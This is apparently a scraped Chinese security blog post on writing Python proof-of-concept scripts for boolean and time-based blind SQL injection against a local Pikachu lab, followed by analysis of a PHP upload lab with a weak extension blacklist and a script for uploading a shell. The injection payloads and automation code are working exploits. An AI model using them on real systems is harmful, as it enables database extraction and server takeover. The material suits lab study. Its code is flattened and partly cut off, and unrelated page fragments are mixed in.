<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    poc編寫-時間盲注、布爾盲注以及php審計文件上傳

    VSole2021-07-26 09:10:59

    前言:

    滲透測試的時候往往會遇到盲注這類的繁雜的手工測試,所以需要編寫半自動化腳本去進行測試減少時間浪費并快速獲取漏洞結果信息,根據目前的漏洞靶場進行漏洞利用分析進行poc編寫。

    poc-sql布爾盲注

    sql盲注

    一、首先測試接口確認漏洞存在

    pikachu就后面的#要編碼成%23

    二、得到數據庫名長度

    poc(判斷數據庫準確長度)

    length(database())=str(dbNameLen)=7=pikachu

    import requestsurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"#計算響應包長度params={"name":"kobe","submit":"查詢"}normalhtmllen = len(requests.get(url=url,params=params).text)#print("the len of HTML:",normalhtmllen)print("the len of HTML:"+str(normalhtmllen)) #+號要加str()改為字符串dbNameLen = 0while True:dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查詢"print(dbNameLen_url)if len(requests.get(dbNameLen_url).text) == normalhtmllen:print("The len of dbName",dbNameLen)breakif dbNameLen == 200:print("Error!")breakdbNameLen += 1
    

    三、根據得到的長度去用substr()由頭到尾一個個字符串遍歷出完整的數據庫名

    (這里事先知道數據庫名是pikachu,調用string.ascii_lowercase的Data是26個字母去節省比對數量以節省比對時間)

    (zon)

    import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"#計算響應包長度params={"name":"kobe","submit":"查詢"}normalhtmllen = len(requests.get(url=url,params=params).text)# url2=requests.get(url=url,params=params)# print("the len of HTML:",normalhtmllen)# print(url2.url)print("the len of HTML:"+str(normalhtmllen)) #+號要加str()改為字符串#---根據得到的長度去用substr()由頭到尾一個個字符串遍歷出完整的數據庫名--------dbName=""for i in range(1,9):for a in string.ascii_lowercase:dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查詢"#print(dbName_url)if len(requests.get(dbName_url).text) == normalhtmllen:dbName += aprint(dbName)
    

    總源碼:

    import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"#計算響應包長度params={"name":"kobe","submit":"查詢"}normalhtmllen = len(requests.get(url=url,params=params).text)# url2=requests.get(url=url,params=params)# print("the len of HTML:",normalhtmllen)# print(url2.url)print("the len of HTML:"+str(normalhtmllen)) #+號要加str()改為字符串#------------判斷數據庫名的長度-------------------------------------------------------------------dbNameLen = 0while True:dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查詢"if len(requests.get(dbNameLen_url).text) == normalhtmllen:print("The len of dbName",dbNameLen)breakif dbNameLen == 200:print("Error!")breakdbNameLen += 1#----------------------------------------------------------------------------------------------------------------#---根據得到的長度去用substr()由頭到尾一個個字符串遍歷出完整的數據庫名-----------------------------------------------dbName=""for i in range(1,9):for a in string.ascii_lowercase:dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查詢"#print(dbName_url)if len(requests.get(dbName_url).text) == normalhtmllen:dbName += aprint(dbName)
    

    poc-sql延時

    sql延時

    一、首先測試接口確認漏洞存在

    接口輸入

    kobe' and sleep(3)#kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
    

    python語句:

    dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查詢"
    

    注入語句:

    name=kobe'+and+if(length(database())=7,sleep(5),1)%23&submit=查詢
    

    二、(獲取數據庫長度)通過res = requests.get(url,timeout=3)與sleep(5)不同的結果進行比較

    if "timeout" in timeOut(dbNameLenUrl)

    通過timeOut()函數得出:

    ①如果返回大于3s,那么函數timeOut()返回的結果是 return "timeout" ,

    所以if語句為1,即timeout=timeout

    ②如果返回小于3s,那么函數timeOut()返回的結果是 return res.text的網頁html內容

    所以if語句為0,不成立

    import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php"def timeOut(url):try:res = requests.get(url,timeout=3)return res.textexcept Exception as e:return "timeout"dbNameLen = 0while True:dbNameLen +=1dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查詢"print(dbNameLenUrl)if "timeout" in timeOut(dbNameLenUrl):print("數據庫名長度:",dbNameLen)breakif dbNameLen == 30:print("error!")break
    

    三、獲取數據庫名(原理和第二步一樣)

    #---------獲取數據庫名---------------------------------------------------------dbName = ""for i in range(1,dbNameLen+1):for char in string.ascii_lowercase:dbNameUrl = url + "?name=kobe'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)%23&submit=查詢"if "timeout" in timeOut(dbNameUrl):dbName += charprint(dbName)break
    

    總源碼:

    import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php"def timeOut(url):try:res = requests.get(url,timeout=3)return res.textexcept Exception as e:return "timeout"dbNameLen = 0while True:dbNameLen +=1dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查詢"print(dbNameLenUrl)if "timeout" in timeOut(dbNameLenUrl):print("數據庫名長度:",dbNameLen)breakif dbNameLen == 30:print("error!")break#---------獲取數據庫名---------------------------------------------------------dbName = ""for i in range(1,dbNameLen+1):for char in string.ascii_lowercase:dbNameUrl = url + "?name=kobe'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)%23&submit=查詢"#print(dbNameUrl)if "timeout" in timeOut(dbNameUrl):dbName += charprint("數據庫名為:",dbName)break
    poc+exp-文件上傳靶場php源碼
    
    if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
    
    move_uploaded_file($_FILES['file_upload']['tmp_name'], './poc' . $_FILES['file_upload']['name']);echo "{$_FILES['file_upload']['name']}";
    
    endif;?><form method="post" enctype="multipart/form-data">File: <input type="file" name="file_upload"><input type="submit">form>
    

    提交的參數為post因為$_File需要post傳參,

    <form method="post" enctype="multipart/form-data">File: <input type="file" name="file_upload"><input type="submit">form>
    

    一次能同時選中多個文件同時上傳

    type="file" name="file_upload" multiple="multiple" />
    

    move_uploaded_file()

    move_uploaded_file() 函數將上傳的文件移動到新位置。

    定義和用法

    move_uploaded_file() 函數將上傳的文件移動到新位置。

    若成功,則返回 true,否則返回 false。

    語法

    move_uploaded_file(file,newloc)

    參數 描述

    file 必需。規定要移動的文件。

    newloc 必需。規定文件的新位置。

    源碼分析

    應該是一般上傳后默認上傳的路徑是tmp_name這個臨時文件夾,所以修改路徑到./,就是和上傳功能php源碼同一文件夾

    move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
    echo "{$_FILES['file_upload']['name']}";
    


    所以修改href修改為真實路徑的跳轉路徑:

    echo "{$_FILES['file_upload']['name']}";
    

    in_array

    in_array—檢查數組中是否存在某個值

    講參數$ext的上傳pathinfo和$file得到的文件信息傳入in_array去判斷pathinfo('', PATHINFO_EXTENSION)提取出來的后綴名是否是php。

    所以在這里pathinfo()只是給in_array使用,后面就沒有再使用過了。

    if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
    

    $_FILES

    PHP $_FILES 是一個預定義的數組,用來獲取通過 POST 方法上傳文件的相關信息。如果為單個文件上傳,那么 $_FILES 為二維數組;如果為多個文件上傳,那么 $_FILES 為三維數組。

    參數:

    名字(name)

    類型(type)

    臨時文件夾路徑(tmp_name)

    報錯(error)

    文件大小(size)

    file.html<html><head>head><body>body><form enctype="multipart/form-data" action="file.php" method="POST">Send this file: <input name="userfile" type="file" /><input type="submit" value="Send File" />form>html>
    

    新建一個用于接收文件信息的 PHP 文件 file.php,代碼如下:

    file.phpecho "
    ";print_r($_FILES);?>
    

    在 file.html 頁面選擇文件后,單擊 Send File 按鈕,將會在頁面輸出以下信息:

    輸出文件的

    名字

    類型

    臨時文件夾路徑(tmp_name)

    文件大小

    對源碼分析:

    if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
    

    里的這句

    $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);

    選擇提取的參數是name、type、tmp_name、error、size的5個中的name屬性,pathinfo()的PATHINFO_EXTENSION提取$File處理完的內容

    (name=file.txt)的后綴名txt

    pathinfo()

    pathinfo() 函數返回字符串

    定義和用法

    pathinfo() 函數以數組的形式返回關于文件路徑的信息。

    pathinfo(path,options)

    返回的數組元素如下:

    [dirname]: 目錄路徑

    [basename]: 文件名

    [extension]: 文件后綴名

    [filename]: 不包含后綴的文件名


    對源碼分析:

    if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
    

    里的這句

    $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);

    選擇提取的參數是name、type、tmp_name、error、size的5個中的name屬性,pathinfo()的PATHINFO_EXTENSION提取$File處理完的內容(name=file.txt)的后綴名txt

    poc



    import requestsurl = "http://127.0.0.1/poc/upload.php"upfile={"file_upload":open("321.py","rb")} #rb以二進制的方式讀文件postdata={"usersubmit":"隨便"}res = requests.post(url=url,data = postdata,files=upfile)#為了統一寫到字典里print(res.text)print(res.url)
    

    exp

    phpstudy記得傳回7if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php4'])) {die('Unsupported filetype uploaded.');}move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);echo "{$_FILES['file_upload']['name']}";endif;?><form method="post" enctype="multipart/form-data">File: <input type="file" name="file_upload"><input type="submit">form>
    

    res.text[9:20]切片

    上傳php


    #!/usr/bin/env python# -*- coding:utf-8 -*-
    import requestsimport sys#獲取命令行的參數url = sys.argv[1]path = sys.argv[2]#print(sys.argv[1])postUrl = url + "/poc/upload.php"upfile = {"file_upload":open(path,"rb")}res = requests.post(url=postUrl,files = upfile)print(res.text)print("The Shell path : "+ url+res.text[9:19
    
    str函數數據庫文件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    但是找不到啊,這里我猜測應該就是在app運行過程中動態釋放出來的。那就用frida_dump試試吧。在指定文件夾里找到dump下的dex文件進行分析就可以了。只有第一個dex文件能找到了.t文件。通過這段代碼的分析可以得到前半部分的flag:sctf{W3lc0me。總結一下就是通過base64解密得到的。返回.t文件對str2字符串進程分析。
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    某CMS漏洞合集
    2023-06-27 16:12:06
    2)contorl.php:對$_GET進行全局過濾危險的SQL函數。這個過濾從最簡單的角度來說,即mysql<8的情況下,把select禁用了,其實就沒辦法進行跨表查詢,SQL利用造成危害的可能性會大大降低,當然這是一種直接且無需考慮用戶體驗為原則的暴力做法,點到為止吧。回到web_inc.php,繼續閱讀,后面吸引我的地方,在于 89 line一處SQL語句的地方。
    MSSQL注入和漏洞利用姿勢總結
    基礎介紹Microsoft SQL Server 是微軟開發的關系型數據庫管理系統。作為數據庫服務器,它是一種軟件產品,主要功能是根據其他軟件應用程序的請求存儲和檢索數據,這些應用程序可以在同一臺計算機上運行,也可以在網絡上的另一臺計算機上運行。SQL Server 默認開放的端口是 TCP 1433。判斷數據庫類型/*?數據庫中獨有的數據表,如果頁面返回正常即可表示為?為便于管理數據庫中的權限,SQL Server 提供了若干角色,這些角色是用于對其他主體進行分組的安全主體。
    后果:修改內容為在head內添加了meta標簽和修改了title標簽,標簽內容為非法內容,搜索引擎的爬蟲在爬取該站點時會爬取meta標簽的內容,那么用戶在百度搜索關鍵詞時,會檢索出不良內容。
    與其他應用反編譯器不同,GDA 不依賴于 Java VM,支持 APK、DEX、ODEX、OAT、JAR、AAR 和 CLASS 文件
    提及 Redis 自然是耳熟能詳,說起 Redis 的漏洞的話,未授權訪問漏洞、主從復制漏洞等也是張口就來,所以打算對 Redis 進行一個全面的總結。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类